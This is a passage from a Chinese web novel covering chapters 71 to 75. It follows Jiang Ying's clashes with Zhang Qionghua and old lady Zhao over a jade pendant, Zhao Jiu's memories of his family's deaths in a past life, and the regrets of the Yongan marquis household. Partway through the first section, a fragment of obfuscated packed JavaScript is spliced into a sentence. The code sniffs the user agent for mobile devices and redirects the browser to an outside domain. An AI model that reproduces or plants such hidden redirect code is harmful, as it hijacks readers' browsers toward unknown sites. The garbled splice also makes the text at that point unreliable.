张琼华把王氏的不吭声当作是对自己提议的默许,不由腰杆挺直,冷笑一声,“姜姑娘,我奉劝你一句,拜高踩低迟早是要遭到报应的,你瞧不上永安侯府也就罢了,如今,连我外祖母都不放在眼里吗?”
姜璎笑了一下,“张姑娘,我也送你一个忠告,信口开河是会遭雷劈的。”
“你!”
姜璎话音一转,“我可以去照顾老夫人,只是世子夫人这边,就麻烦张姑娘了。
张琼华愣了一下,什么意思?“世子夫人身边这么多仆婢……”
“仆婢归仆婢,张姑娘的心意又是另外一回事,毕竟张姑娘最为孝顺不是吗?”
张琼华终于反应过来姜璎的意思,面色铁青道:“我可是客人,哪有让客人照顾的道理?”
姜璎闻言而笑,“是啊,张姑娘还知道自己是客人呢,这客人吩咐到主人头上,我可真是第一次见。”
身后的香薷香附等人纷纷掩唇。
真不知道张琼华哪来那么大脸,使唤姜璎去伺候赵老夫人?
“你……”张琼华气道,“你还没过门呢,算什么卫国公府的主人?”
姜璎反驳道:“我不是主人是什么?客人?既然同为客人,张姑娘怎么好意思让我去照顾老夫人?那可是张姑娘的外祖母,不是我的。”
王氏微微颔首,眼中一闪而过赞赏之色。
看来没有白教。
张琼华面色时而青白,时而忿红,却说不出一句话。
不管是主人还是客人,都能被姜璎找到借口,她就是瞧不起外祖母!
如此爱慕虚荣、拜高踩低的女人!
难怪阿宝妹妹信中叮嘱她要远离姜璎,一定是被欺负惨了,吃尽苦头!所以担心她也会在姜璎身上栽跟头!
想到这,张琼华握紧了手心,“姜璎,别以为你说的这么冠冕堂皇,就能蒙蔽所有人!”
她掷地有声,“迟早有一天,我会揭穿你的真面目。”给姜大公子狠狠出一口气!
“没有那一天。”
姜璎淡淡道:“我不会一直让你住在卫国公府的。”
张琼华张了张嘴,脸上一闪而过耻辱。
她故意这么说,一定是想让别人以为她来卫国公府是为了打秋风!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034791|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>真是好歹毒的心计!
“世子夫人还没发话,你有什么资格做这个主?”张琼华下巴微抬,紧咬着牙道,“还有,我是为了陪外祖母,才不会赖在这不走!”
姜璎看向王氏,第一次鼓起勇气喊道:“大嫂。”
王氏不无惊喜,唇角笑容加深,这孩子总算学会找依靠了。
她语气不容置喙:“阿池是九郎未来的妻子,卫国公府的主人,某些无关紧要人的去留,她还是有资格做主的。”
张琼华没想到王氏会这么说,一时羞愤欲死,她们、她们太过分了!
她掩面而泣,跑了出去。
“好样的!”郑氏对姜璎这次的表现赞不绝口,“就该这样,在自己家里,难道还要看这种人脸色不成?”
姜璎脸颊微红,眼眸却明亮得不像话,她重重地点了下头,“嗯!”
王氏笑了笑,温柔道:“去了外头,也不必怕,卫国公府永远是你的后盾,像方才那样就做得很好。”
姜璎好奇道:“夫人,这位张姑娘应该是姜承祁的未婚妻吧,她们怎么会过来?我开始还以为来得是二夫人的娘家人。”
郑氏微微皱眉,叹了口气,“我娘家人原本是要来的,结果昨夜门房通报,老夫人今日会到,我便让他们改日再来。”
省的两头撞上。
郑氏不喜赵老夫人,但她总归是家翁的妹妹,是他们的长辈。
王氏道:“阿池,你先从蓼莪院搬回来,别让老夫人抓住把柄,到时候为难你。”
“好。”
“阿劫不会闹吧?”郑氏取笑道。
赵咎算不上正儿八经的君子,但也不是离经叛道的人,唯一一次破格就是因为姜璎。
郑氏时常看他们的好戏。
姜璎认真道:“不会的,赵九郎君不是那种人。”
王氏但笑不语。
目光落在姜璎佩戴的和田桃花玉上,她知道这是梁女君派人送来的。
王老夫人只提过一句,说梁女君是娘家亲戚的遗孤。
但……
什么样的亲戚,能拿出这样的珍品?
想到梁女君时不时让人送礼到卫国公府,还有王老夫人那边一直想见姜璎,王氏心情不免沉重起来。
如此三缄其口的身世,会是她想的那样吗?
第71章 不亢
姜璎搬回了王氏的院子,房间一切如初,她走的时候是什么样,回来的时候还是什么样,下人们除了平日的打扫,其他摆设全都原封不动。
香薷等人低头整理东西,姜璎就带了几身还未穿过的新衣裳,文房四宝,还有最近在看的书。
她东西不多,又没什么物欲,就连王氏和郑氏让工匠给她打造的满满一匣子首饰,也只挑见了几样可能会用上的带了回来,剩下的还是放在那儿。
姜璎倒不是怕全搬光了惹赵咎生气,她就是觉得,以赵咎的性子,等赵老夫人他们一走,迟早会让她回去。
“姑娘,老夫人那边来了人,说是让您过去一趟。”仆婢的通报声响起。
香薷和香附对视一眼,心知不妙。
就张琼华方才那哭哭啼啼的作派,赵老夫人见了怎么能不心疼?
她拿捏不了王氏郑氏,难道还不能教训一个出身微贱的野丫头吗?
“姑娘,奴婢这就去找夫人!”香附性子急,说完就要去找王氏。
“站住。”姜璎无奈道,“回来。”
这是王氏的院子,任何动静都不可能瞒过她,她什么也没说,就表明一切交由姜璎自己看着办。
这赵老夫人既不是洪水猛兽,卫国公府也并非她的一言堂,姜璎身边仆婢众多,难道还能任由她捏扁搓圆不成?
王氏怀了身子的事儿如今已经不再需要保密,府中上下,就连一向最顽皮的赵恪都知道不能惹是生非,给大伯母添麻烦。
姜璎不能一碰上事儿就躲到王氏的身后。
以前在永安侯府,也没有人保护她,她不照样还是熬过来了吗?
所以没什么好怕的。
“走吧。”姜璎稍稍整理了一番,一行人往客院而去。
还没踏进院子,就听见张琼华的哽咽声。
“外祖母,我有哪句话说错了吗?表婶身子不好,那姜璎又没什么毛病,她怎么就不能来伺候您?”
“身为晚辈,孝顺长辈自是理所应当,结果她不仅不听我劝告,还威胁说迟早要把我赶出去……”
赵老夫人顿时勃然大怒。
“真是反了天了!她算个什么东西?!还没进卫国公府的门,就敢如此嚣张!别说我还没死,就是卫国公府的人都死光了,这个家也轮不到她来作主!”
“大母,您消消气。”朱季灵不赞同地看了张琼华一眼,她明知道王氏等人袒护姜璎,还要挑起事端,到底安的什么心?
朱季灵倒不是怕惹怒王氏被赶出去,再怎么说,赵老夫人也是长辈,王氏他们不敢不尊重。
她担心的是张琼华犯蠢连累自己。
毕竟,她可是要嫁给小叔的,怎么能还没过门,就先得罪王氏他们?
张琼华直接无视了朱季灵谴责的眼神,她并不觉得自己有哪里做错。
她一没有添油加醋,二又不曾设计害姜璎,是她自己不肯过来伺候外祖母的,惹恼了外祖母,又能怪谁?
想到姜宝瑜在信里说,姜大公子如今心里眼里都是姜璎,哪怕知道她是一个白眼狼,也还是心心念念希望她回家,张琼华就气不打一出来。
姜璎她凭什么?
“老夫人,姜姑娘来了。”下人恭敬道。
“让她进来。”赵老夫人冷冷道,一双眼睛锐利无比,怎么看都是个以色侍人的玩意儿,这样的人怎么能做赵家的媳妇?
姜璎不卑不亢地行礼,“给老夫人请安。”
赵老夫人眉头紧皱,想挑毛病,奈何姜璎从小学习礼仪,永安侯夫妻一直把她往瘦马上栽培,所以下了血本,特意请了出宫养老的嬷嬷教导规矩。
赵老夫人挑不出错,也没善罢甘休,阴着脸准备质问时,边上的小孙女忽然发出一声惊呼。
“呀!好漂亮的玉佩!”
顺着她的目光望去,屋内的人都注意到了姜璎身上佩戴的和田桃花玉。
赵老夫人先前扫了一眼,还当是不值钱的东西,毕竟姜璎的出身摆在这。
如今细细一看,竟是一件绝世珍宝!
赵老夫人活了这么些个年头,便是私房丰厚,也没有一件首饰是能
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跟姜璎的这块玉佩相媲美的。
因为一般而言,想要取出玉镯玉佩,往往需要很大一块玉料。而玉料之中,顶多只有一小部分的成色才能称得上极品。
极品籽料不必雕琢便足够完美,顶多去掉外头的皮。
姜璎佩戴的桃花玉便是如此。
粉嫩的桃红色本就罕见,更不要说这么大一块完整的玉石。
色若桃瓣,细腻温润,说句价值连城也不为过。
这天底下恐怕没有哪个女人能拒绝这样一块玉佩。
赵老夫人也就听说前梁皇室曾珍藏过一块和田桃花玉,但一直没能一饱眼福。
她没想到,有朝一日,这种可遇而不可求的宝物会出现在一个身份低贱的养女身上。
九郎真是昏了头了!
朱季灵也觉得这是赵咎特意寻来的,要不然,凭姜璎怎么可能拥有这种好东西?
这样一想,朱季灵心里就不大舒服了。
就算她能接受未来夫君有宠妾,那也不能宠到这个份上啊!
妻者,齐也。
一个妾怎么能跟正妻相提并论?
朱季灵开口,就是想要姜璎识趣一些,自己主动把玉佩奉上。
“这玉佩可真好看。”她含蓄道,眼中的喜爱却是怎么都掩藏不住。
张琼华立马吩咐道:“姜璎,你没听见吗?还不把玉佩归还给它真正的主人。”
姜璎眨了下眼,脑门缓缓冒出一个“?”。
“真正的主人?朱姑娘?”
她是在开玩笑吗?
“我不过随口说说……”朱季灵虽然很想要,但面子功夫还是要做的。
张琼华却道:“季灵,你以后可是她的主母。这表叔特意寻来的宝物,自然是只有你才能佩戴。”
提到赵咎,朱季灵羞赧地低下了头。
赵老夫人满意一笑,见姜璎还杵着不动,微微皱眉道:“怎么,你真以为给了你就是你的东西?”
也不看看自己配不配。
赵老夫人摇了摇头,小门小户出身,就是眼皮子浅,毫无自知之明!
第72章 自食
“姜璎,这玉佩定是表叔寻来送给未来正妻的,以你的身份,如何配做表叔的妻子?”张琼华语重心长道,“人贵在有自知之明,不是你能拿的东西,还是物归原主的好。”
姜璎看着她们,语气讶异道:“原来朱姑娘同赵九郎君有婚约在身?”
朱季灵脸上羞涩凝滞一瞬。
这自然是不可能的事儿。
朱家后继无人,子孙青黄不接,别说赵老夫人和娘家多有龃龉,就是没有,赵太后和王氏也不可能让赵咎娶朱家的女儿。
赵老夫人面色一沉,道:“婚嫁大事,向来都是父母之命、媒妁之言,等兄长回来,我自会同他定下九郎和季灵的婚事。还轮不到你在这说三道四。”
姜璎抿了抿唇,和和气气道:“老夫人误会了,我年纪轻,自然不如您见多识广,也是今日才知道,原来宫中的赐婚诏书,是可以朝令夕改的。”
诏书,又是诏书!
赵老夫人眼中一闪而过怒色,一个个都拿赵简那个贱人威胁她。
真以为她怕她不成?做了太后又怎么样,还不就是个早早丧夫的寡妇!
“就算是太后,也是父母生养的,难道还会不听她父亲的话不成?”赵老夫人冷冷道,“像你这样没有心肝,恩将仇报的人,这世上少之又少。”
“行了,把玉佩交出来。”
赵老夫人的耐心已经到了尽头,本来以她的身份,和姜璎说这么多就已经是屈尊降贵,要不是孙女喜欢,她还看不上姜璎戴过的东西。
姜璎轻轻抚摸桃花玉,姨母让人送来的时候,特意提过,这是她母亲的陪嫁之一。
亡母遗物,别说价值连城,就是一文不值,对姜璎而言也是珍贵无比,又岂会拱手让人?
“恕我不能从命。”
“你说什么?”赵老夫人拧了拧眉,她没想到姜璎竟然敢违抗自己。
姜璎淡淡道:“给了我自然就是我的,难道老夫人平日里打赏下人,事后都会要回去不成?”
赵老夫人勃然大怒。
“这两者岂能相提并论?奴仆受到打赏,是他们办事得力应得的,你又做了什么?”
张琼华面露鄙夷道:“爱慕虚荣,又一身反骨,连背弃养父母一家的事儿都能干得出来。”
“我要是你,早就没脸活在这世上了。”
“表姐!”朱季灵拉了拉张琼华的袖子,像是劝阻,又一脸正色对姜璎道,“姜姑娘,我不是想跟你抢东西,只是以你的身份,确实不太适合佩戴这样宝贵的玉佩。”
“你可以先暂时把玉佩放我这里保管。”
顿了顿,又补充了一句:“你放心,我是不会拿你东西的。”
张琼华反驳道:“这又不是她的东西!”
“不是我的,还能是你的吗?”
姜璎微微抬眸,“这玉佩是梁女君所赠,与卫国公府没有半点干系,与老夫人,更没有半点干系。”
赵老夫人的手重重的砸在桌案,茶盏应声而碎,“你好大的胆子!谁允许你这么和我说话?”
姜璎认真道:“说实话都不行吗?还是说,你们非要拿我的东西,不达目的誓不罢休?”
朱季灵见她处处顶撞祖母,心中难免不快。
如此桀骜不驯,日后再被表姐为难,她是绝不会帮她的。
张琼华可不相信这玉佩是梁女君给的,梁女君不过琅琊王氏的养女,又怎么可能拿得出这么好的东西。
她直接动手去抢,眼看就要抓到姜璎腰间的和田桃花玉,却见她忽然侧开了身子,边上不动声色伸出来一只脚。
“啊——!”
随着一个踉跄,凄惨的叫声响起。
张琼华整个人扑倒在地!牙齿磕到嘴唇,满口是血!
香薷默默收回脚尖,香附看似嘀咕实则说给大家听,“不知道的还以为什么市井泼户,没见过好东西吗?上手就要抢。”
“你!”赵老夫人气得面色青白。
身边的下人慌手慌脚地搀扶张琼华,她摔得鼻青脸肿,满嘴是血,直接号啕大哭起来,“外祖母,好疼,我好疼……”
赵老夫人惊怒交加,“郎中!还不快去请郎中!”她顾不得张琼华脸上污秽,赶忙把外孙女搂在怀里安抚。
姜璎脸上依旧是平静至极的神情,看得朱季灵心头一寒。
她承认自己一开始并没有把姜璎放在眼里,毕竟身份悬殊之大,可谓一个天上一个地下。
但朱季灵没想到她老实的外表下,竟然藏了这么一颗恶毒的心!
“张姑娘真是太不小心了。”她轻轻叹息,“果然,人不能妄想不属于自己的东西。”
张琼华满脸愤恨,死死地瞪着姜璎!
她竟然还敢在这说风凉话嘲讽她!
“好一个胆大包天、蛇蝎心肠的女人!王氏呢,让王氏给我过来!”赵老夫人怒道。
“世子夫人怀着身孕,已经服了药歇下了。”姜璎道,“老夫人放心,虽然张姑娘强抢不成反受其害,但我不会告状的。”
“你、你……”赵老夫人咬牙切齿道,“来人!把这个以下犯上的贱婢给我抓起来,狠狠掌掴!”
“我看谁敢。”
声音如珠玉碎地,冷淡而极具威慑力。
廊下不知何时立了一个颀长高挑的身影,逆光而来,眉眼深深,如墨般的眸子一一扫过众人,最后停留在姜璎身上。
“有人欺负你了?”他挑了挑眉,似乎笑了一下。
“没有。”姜璎说话算话,她才不会告状呢。
“小叔!”朱季灵心口怦怦直跳,小脸通红,好不容易鼓起勇气喊了一声,结果赵咎只淡淡看她一眼,便收回目光。
仿佛……她是什么无关紧要的人。
朱季灵的心顿时坠了下去。
姜璎乖乖走到赵咎身边,眨了下眼,真的没有受欺负。
赵咎轻哼一声,别以为他不知道她擅自搬出了蓼莪院。
两人眉来眼去,看得赵老夫人一阵窝火。
“九郎!你这养的什么女人,顶撞长辈不说,还……”
“你是哪位?”赵咎不耐打断,丝毫没有给赵老夫人半点脸面。
这个老妪!上辈子卫国公府出事,那么多亲戚,就数她撇清干系最快!恨不得把“出嫁女”三个字刻脑门上,让人知道她已经是朱家妇,而非赵家人。
如今风平浪静,她倒是有脸上门了。
赵咎心中冷哼一声,他原本还等着腾出手再收拾朱家人,没想到她先自个儿送上门来。
这样也好。
小二和小三的命,他会亲自、一一讨回!
第73章 殉情
上辈子,父亲奉命前往蜀地赈灾,却因地动而惨遭不测,消息传至回京,赵太后当场昏死过去,陛下勃然大怒,发落了许多官员。
卫国公府上下悲痛欲绝,世子赵咨亲自前往迎回父亲遗体,然而,却在半路被袭,整个尸身分离!
大嫂王氏本就身子虚弱,乍闻噩耗,打击之下一病不起,短短几月便撒手人寰。
本以为到这就能结束,谁曾想,就在赵哲要为赵咨和王氏的长子请封卫国公时,有人检举他行中书侍郎之权,私藏罪臣遗孤,且有通敌卖国的嫌疑!
禁军到卫国公府搜查,本以为只是走个过程,结果却在赵哲的书房翻找出了许多私下和高句丽的财帛往来,以及书信证据。
明惠帝原想把二舅暂且关押大牢,等水落石出,再放他出来。
熟料赵哲为自证清白,当场拔剑。
“吾乃大魏公侯嫡子,荷陛下之恩德,受赵氏之祖训,自出仕以来为国为民!仰不愧于天,俯不怍于人!今日蒙此冤屈,宁死,不愿贼子得逞!”
言罢,血溅当场,自刎而亡。
此后,再无一人敢提赵哲有通敌卖国之嫌疑。
郑氏与夫君感情深厚,她知赵哲玩世不恭的笑脸下,藏着士族子弟的傲气。
头七下葬当日,郑氏叮嘱二郎要照顾好弟弟,便一头碰死木棺上。
“夫君——!”
鲜血顺着额角缓缓流淌而下。
态度之决绝,赵咎甚至根本来不及阻拦。
“阿劫,我不怨你二兄……我只怕,他一个人去底下,被父亲和大兄责怪……”声音逐渐微弱。
她抚着木棺,忽然痴痴一笑,脸上浮现一丝少女怀春的神色。
似忆起当年。
夫君许她一生一世的诺言。
“少凌……我来陪你。”
赵咎亲眼看着二嫂咽气。
不过短短一年,他就失去了五个亲人。
四兄夫妻二人远在任上,无诏不得回。明惠帝忍着悲痛,下了调令,将赵言调回京中,接任赵哲中书侍郎一职。
赵咎想起二嫂死后,四兄夫妻还未归来,家里没有一个女眷可以操持中馈,就在这时,先前甚至不愿意来吊唁兄长的赵老夫人却出现了。
她看中了赵家的家产。
赵咨和王氏的赵慎被封为卫国公,跟在小叔身边努力成长,一同撑起这个家,四郎和五郎未满七岁,同四兄的那对龙凤胎一起送到赵太后宫里生活。
唯独二郎和三郎……
他们不肯进宫,也不肯去外祖家,非要固执地留在卫国公府,替父亲母亲守孝。
赵咎忙得脚不沾地,要守住家,要保护大郎,要查出藏在暗处的主谋,然后,就疏忽了他们。
他不仅松懈了对二郎三郎的看顾,更低估了赵老妪的无情。
直到下人哭着来报,二郎和三郎溺死水池,他才惊觉自己又做错了事情。
那是赵恪最喜欢的水池,尤其夏天,时常躲在里头装呛水吓唬人。
就算他有脚抽筋的风险,但赵怀会水,他怎么可能救不上来自己的亲弟弟?
更何况,还有那么多下人。
“九郎!我跟你说话呢,你真是年纪越大,越不像……”赵老夫人被气得胸口不断起伏,还想摆长辈架子拿捏赵咎,结果一对上他的眼睛,顿时没了声音。
这是一双怎样的眼睛?
宛如黑不见底的深渊,浸了彻骨的寒意,只觉森然无比。
“原来是姑母啊。”他嘴角上挑,似恍然大悟般笑道。
这一笑,冲淡了眉眼间的戾气。
赵老夫人面色稍稍缓和,但仍不痛快,正要开口,就听见赵咎漫不经心地调笑:
“您这一把老骨头还没死呢?真是够可惜的。”
“……”
顷刻间鸦雀无声。
赵老夫人瞪大双眼,朱季灵愣怔当场,就连原本啜泣的张琼华都安静了。
一个个用见了鬼的眼神盯着赵咎,他脸上遗憾不似作伪。
可惜什么?可惜赵老夫人还没死?
他怎么能说这种话?
他怎么敢的?!
姜璎偏头看了眼赵咎,倒不是觉得赵咎说话刻薄,而是……他似乎心情不好?
因为赵老夫人?
“赵咎!”赵老夫人这回真是气得浑身发抖,王氏身为赵家冢妇,尚且不敢这样对她说话。
赵咎他好大的胆子!
如此大逆不道,禽兽不如!
“大母!”赵老夫人气血逆行,眼前一黑,身子软了下去。
朱季灵和张琼华吓了一跳,连忙一左一右把人扶起来。
“小叔……”朱季灵看着赵咎,又胆怯又可怜,他这么做是为了给姜璎出气吗?可大母只是说了姜璎几句,他又何必如此动怒?
赵咎冷冷看了一眼赵老夫人,对姜璎道:“我们走。”
张琼华不可置信看着赵咎的背影,有些隐隐崩溃:“表叔……他怎么能这样?!”
就算是她那个宠妾灭妻的父亲,也不敢为了宠妾而顶撞大母!
赵咎是疯了吗?
姜璎也觉得赵咎有点不对劲,她刚才真真切切从他身上感知到了一丝杀意。
但赵老夫人已经十多年没有入京了。
赵咎与她从无交集。
这仇怨,又是从何而来?
“赵九郎君。”姜璎轻轻拉了一下赵咎的手,目光担忧地望着他,“老夫人是不是做过什么不好的事情?”
赵咎顿了一下,道:“她不是好人。利益当头,什么事都能做得出来。”
赵老夫人是典型的利己主义者,当初她看中了已故的朱老大人,想尽一切办法毁掉了他和嫡亲表妹的亲事,后面又自毁名节,与朱老大人有了肌肤之亲,这才嫁过去。
她生性强势,对待几个儿媳更是严苛不已,朱季灵若不是容貌与她酷似,又是最疼爱的小儿子的次女,也不能得她疼爱。
姜璎听出了赵咎语气之中的厌恶,欲言又止。
“怎么,她欺负你了?”赵咎微微皱眉,眼中一闪而过杀意。
虽说如今卫国公府的主子都好好的,但难保赵老妪不会动其他心思。
若不是死在卫国公府太晦气……
“没有,不过……老夫人好像准备把朱姑娘嫁给你。”姜璎实话实说。
赵咎冷笑一声,“还真是她能做出的事。”
姜璎正要说什么,就有下人过来通报,“九郎,姑娘,永安侯府派人送了好些东西过来,说是物归原主。”
第74章 尝尝
熟悉的樟木箱,一下子把姜璎的思绪拉回永安侯府。
她在那生活了整整十年。
平心而论,那段灰扑扑的记忆,也并不全然都是煎熬酸楚,偶尔也会出现短暂的光彩。
即便一开始只是作为一个安抚刘氏的替身而存在,但姜承祁怜惜她年幼无辜,永安侯感慨她老实懂事,就连刘氏,也会在暴雨雷鸣之际,将她搂在怀里。
“有阿娘在,不怕、不怕啊。”
就算只是移情,姜璎也感念那一瞬的温暖依靠。
她在永安侯府的东西不多,尤其是姜宝瑜回来之后,半年内只做过一身衣裳。
但樟木箱中,却叠着好些柔软舒适的女孩旧衣,最上头压着竹蜻蜓、鲁班锁等颇有童趣的玩具。
练习的字帖书稿,从稚嫩到娟秀,厚厚一沓摆放的整整齐齐,还有姜璎自己研究的一些养身药膳的手札。
一把银锁掉在木箱角落。
姜璎慢慢弯下腰,将它拾于手心。
她年幼时曾因身处陌生环境而睡不安稳,姜承祁就把自己从小佩戴的银锁送给她,老气横秋道:“阿娘说这锁是开了光的,什么妖魔鬼怪都不怕。”
冰凉的手感于是陪伴她好几个秋冬春夏。
姜璎垂眸看着这些旧物。
明明只过去短短几月,却给人恍如隔世的感觉。
就像姜宝瑜回来之后,整个永安侯府发生翻天覆的改变,整整半年,姜璎无时无刻不处于水深火热之中。
“看这么久,是准备把这些破烂供起来?”
赵咎抱着手臂,居高临下道:“你要供也可以,但不许出现在蓼莪院。免得刑如风那个大嘴巴,去外头造谣我送你破烂,我可丢不起这个人。”
刑如风:……
我呸!
姜璎抿嘴而笑,把银锁放回原位,其他也就罢了,但她自己的手札还是有些用处的。
这些年为了刘氏能够养好身体,她花费了不少时间和精力,都说久病成医,她也快成半个郎中了。
“不会放蓼莪院的。”她保证道。
答应的这么爽快,赵咎反而不满意。
“你也是蓼莪院的主人,有一半话语权,实在要放的话也不是不可以。”
语气似乎在暗示什么。
姜璎翻着手札,头也不抬道:“可你会不高兴呀。”
一些旧物而已,如何能跟赵咎相提并论?
“更何况,我可以重新抄一份手札,这样应该就不算破烂了。”
她眉眼弯弯,藏着令人不易察觉的狡黠。
鲜活而动人。
“钻我空子呢?”赵咎轻哼一声,本来想板着脸的,结果实在抵挡不住好心情,杏目含笑似嗔,嘴角上扬弧度压都压不住。
他帮她一起把手札搬出来,眼中愉悦分明,但还是警告道,“少拿甜言蜜语蛊惑我啊,我可不是那种肤浅的人。”
黑锅从天而降,姜璎一脸冤枉。
她什么时候说甜言蜜语了?
赵咎不听她狡辩,让人把樟木箱子抬到库房,尘封个两三年,谁还能想起来的这堆破烂。
永安侯府不会以为靠这点东西就能打动姜璎吧?
真是笑话。
仆婢端来铜盆净手。
明明一人一个,赵咎偏要和姜璎挤在一起。
“赵九郎君,你的手好长。”姜璎比量了一下,发现赵咎的手不仅能完全将她覆盖,还长好大一截,忍不住发出惊叹。
“你喜欢吗?”
赵咎忽然凑近,姜璎闻到了一抹淡淡的清甜,像是熟透的果香,她脱口而出,“你吃桃子了?”
“……”
吃吃吃,你就知道吃。
姜璎嘀咕道:“真的很像桃子的味道啊。”
赵咎擦了擦手,捏住她的脸颊,嫣红的唇瓣被迫张开,香薷等人立马端着铜盆退下。
“要不要尝尝?”他很有礼貌地提出建议。
“窝……”姜璎口齿不清,才说了一个字,就被堵住了嘴。
赵咎抚着她的脖颈,哄她亲自品尝。
近在咫尺的呼吸变得黏腻而浓稠,细微的水声与心跳一同放大。
舌尖被吮得发麻,麻得头脑发昏,手脚无力,几乎喘不上气。
赵咎最后吻啄了一下她的唇角,才大方地放过她。
“尝出来没有?”他明知故问,“要不要再尝尝?”
蔫坏蔫坏的。
把姜璎吓得赶忙捂住嘴,瓮声瓮气道:“不要!”
赵咎胸腔震颤,那点儿郁闷可以说是烟消云散,“那你喜欢桃子的香味儿,还是梅花的香味儿?”
姜璎歪着脑袋认真思考了一下,“都好闻,桃子甜甜的,梅花清冷又勾……”
话说一半猛地急刹。
差点被口水呛到。
姜璎咳了几声,又捂住嘴,脸都憋红了,一双眼睛飘忽不定。
“我、我想起来一件事情。”生硬地转移话题。
“哦?什么事儿?”赵咎眼底藏不住笑意,勾人是吧?刑如风说的果然没错,就算是最端庄克制的女郎,也禁受不住那种欲语还休般的清冷诱惑。
姜璎绞尽脑汁,“我这几日先住在世子夫人这边,等,等老夫人走了,再搬回来。”
“那她要是一直不走怎怎么办?”
“……”姜璎卡壳了一下,一直不走,她也不知道该怎么办啊。
“她还想把孙女塞给我。”
赵咎幽幽控诉,“阿池,你太软弱了,所以她才敢这么做,你一点儿都不知道保护我。”
姜璎心虚起来,“我一定会保护好你的。”
赵咎不大相信,“是吗?”
姜璎连忙保证,“是的!”
“这是你应该做的,别想有奖励。”赵咎瞥她一眼,保护自己的夫君,天经地义。
姜璎点点头,仿佛被赋予了一种神圣的使命,她一定会对赵老夫人等人严防死守!
要是王氏他们在这,估计要给姜璎驱邪。
再啐赵咎好几口。
还没成亲就这么不要脸!真成了亲,还不知道能干出什么事儿来!
殊不知,赵咎心里已经打定主意。
他要推迟婚期。
原本定的八月中旬,虽然早了一些,但也不是不能准备。
但谁知道计划赶不上变化。
王氏如今胎象不稳,不好太过操劳,筹备婚事的重担便落到了郑氏头上。赵老夫人又在这个时候入了京,跟活祖宗似的,总得伺候着。
赵咎半阖了眼,既然这样,倒不如推迟日子,等他处理好一切潜藏的隐患,父亲归京,一家团聚,再风风光光办婚礼。
别人有的,姜璎自然不能少。
别人没有的,赵咎也会给她准备好。
她值得这世上最好的一切。
第75章 好处
永安侯府。
一阵接一阵的咳嗽从屋里传出,刘氏捂着胸口,整个人蜷缩成一张拉满的弓,咳得几乎直不起腰。
指尖因用力而发白,额头浮着细细密密的虚汗,脸上血色尽褪,看着病弱又可怜。
“夫人,药来了。”仆婢柔声道,深褐色的药汁还冒着热气儿,随着她的走近,一股浓重而刺鼻的苦味迅速充斥整间屋子。
只是,还不待汤匙送到刘氏嘴边,就被她抬手打翻。
“我不要吃这些乱七八糟的药!”刘氏情绪激动道,她从小就最怕吃药,那么苦,那么臭,光是闻着就让人恶心想吐!
永安侯微微皱眉,刘氏原本陪着姜宝瑜去老家乡下,结果行至半路,身上忽然起了不少疹子,瘙痒难忍,在姜宝瑜的劝说下,只能先偷偷摸摸回来。
说来也怪,回来以后,身上的疹子就褪去了。
结果刘氏体弱,一番舟车劳顿后,彻底病倒。从昨日到现在,咳嗽不止,浓痰带血。
姜承祁看着母亲受罪,先前那点儿埋怨顿时忘得一干二净,哄道:“阿娘,这生病了不吃药怎么能行?不吃药,身体也不会好啊。”
刘氏悲从中来,抓着儿子的手,急迫道:“阿池呢?我的身体一直都是她调养的,以往生病,光吃药膳就好了,你让阿池回来,快让她回来啊!”
提到姜璎,永安侯父子俩的脸色都不太好。
“行了!”永安侯呵斥道,“这会儿想让她回来了?怎么不想想你们之前都做过什么!她受了委屈,又得了新的依靠,如今岂肯回头?”
刘氏没想到丈夫把一切都推到自己头上,哭着道:“我做了什么?我还不是为着阿宝!手心手背都是肉,可阿宝丢了这么多年,吃了那么多苦,我紧着自己的亲生骨肉疼有什么错?”
“荒唐!阿宝是我们的亲生女儿,就算偏疼她一些,也没必要亏待阿池!难道家里还养不起这一张嘴?!”永安侯怒道。
他想起儿子今日收拾出来的东西,要不是亲眼目睹,他还不知道姜璎这半年来几乎没有做过新衣服。
他们永安侯府什么时候落魄到这个份上了?这是养女儿还是养仇人?!
刘氏泪流不止,“阿宝只是一时糊涂,嫉妒阿池在我们膝下长大,她已经知道错了。”
“就算阿池还生气,可阿宝都已经被你们送到乡下,这气也该消了。”
“消了?”永安侯怒极反笑,本来还想借着姜承祁的婚事,和卫国公府搭上边儿,如今是彻底得罪了!
还有陆家,陆二郎多年无子,还只守着梁女君一人,姜璎是梁女君的嫡亲外甥,这四舍五入跟亲生骨肉又有什么区别?
“我让你给阿池好好准备嫁妆,重修旧好,你不听!还非要纵容阿宝犯错!你是想把整个家都害惨吗?”
“我……”刘氏怔怔地看着丈夫,连眼泪都忘记流。
她是下嫁,永安侯这些年一直待她温柔体贴,哪怕只有一儿一女,也不曾纳妾。
这还是第一次,刘氏见他冲自己发火。
“阿爹,阿娘还病着呢。”
姜承祁到底还是心疼母亲,“阿池那边,我想过了,她是个心软的人,今天见了那些旧物,心里肯定会松动一二。”
“阿宝又不在京中,她就是我们家唯一的女儿,我相信只要我们坚持,水滴石穿,总有一天能让她回心转意。”
永安侯叹了口气,轻轻拍了拍儿子的肩膀。
“阿池跟你感情最好,你问问她,她阿娘病了,愿不愿意回来看看……”
说到这,又想起姜承祁之前借口说自己病重,结果姜璎心硬如铁,连看都不愿意回来看一眼。
永安侯摇了摇头,心里颇不是滋味儿。
要不是阿宝心胸狭隘,他原本都是可以和赵陆两家结为姻亲的。
阿池又向来懂事,只要好好笼络,她还能不提携永安侯府不成?
结果这一切,全被这愚蠢妇人给毁了!
“阿爹,你放心,我明日就去卫国公府,我听说赵老夫人已经回娘家了,有她从中说和,说不定阿池会回来的。”
永安侯点了点头,他当初还看不上张琼华这个丧母长女,如今倒是庆幸还有这么一门亲事。
若不是如此,恐怕真就一点儿转圜余地都没有了。
永安侯赋闲在家,心中难免愁苦,只是不好在儿子面前表露,他对这个嫡长子还是很满意的。
要不是刘氏母女犯蠢,他早就替儿子请封世子了。
“这里就交给你了。”永安侯懒得再看刘氏一眼,“照顾好你阿娘。”
“夫君!”
刘氏伸出手,却抓了个空。
一时情绪激动,又猛地咳嗽起来。
